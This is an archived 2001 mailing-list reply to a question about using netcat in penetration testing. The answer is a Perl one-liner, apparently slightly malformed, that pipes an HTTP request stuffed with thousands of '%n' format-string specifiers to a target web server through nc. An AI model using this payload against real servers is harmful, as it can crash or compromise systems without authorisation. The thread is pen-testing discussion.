Re: Ideas on netcat

From: Dave Aitel (daitelat_private)
Date: Mon Aug 27 2001 - 14:36:48 PDT

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    It's easy and fun to write small web requests with netcat. Try this:
    
    perl -e 'print "GET /"; print "%n" x 5000; print "HTTP/1.0\n\n" | nc target 80
    
    -dave
    
    
    Vo0d0o wrote:
    
    > To all netcat gurus,
    >
    > I hav been experimentin on netcat for a few days and searchin almost everyday on netcat for some possible uses ,but in vain.
    >
    > As far as I know, no site is giving some other uses of netcat pertaining to pen-testing ...other than the usual *README* file which I find too basic.
    >
    > I would be grateful if anybody could throw some light on uses of netcat in pen-testing.
    >
    > Thanx in advance.
    >
    > Cheers,
    > Kartik.
    >
    >
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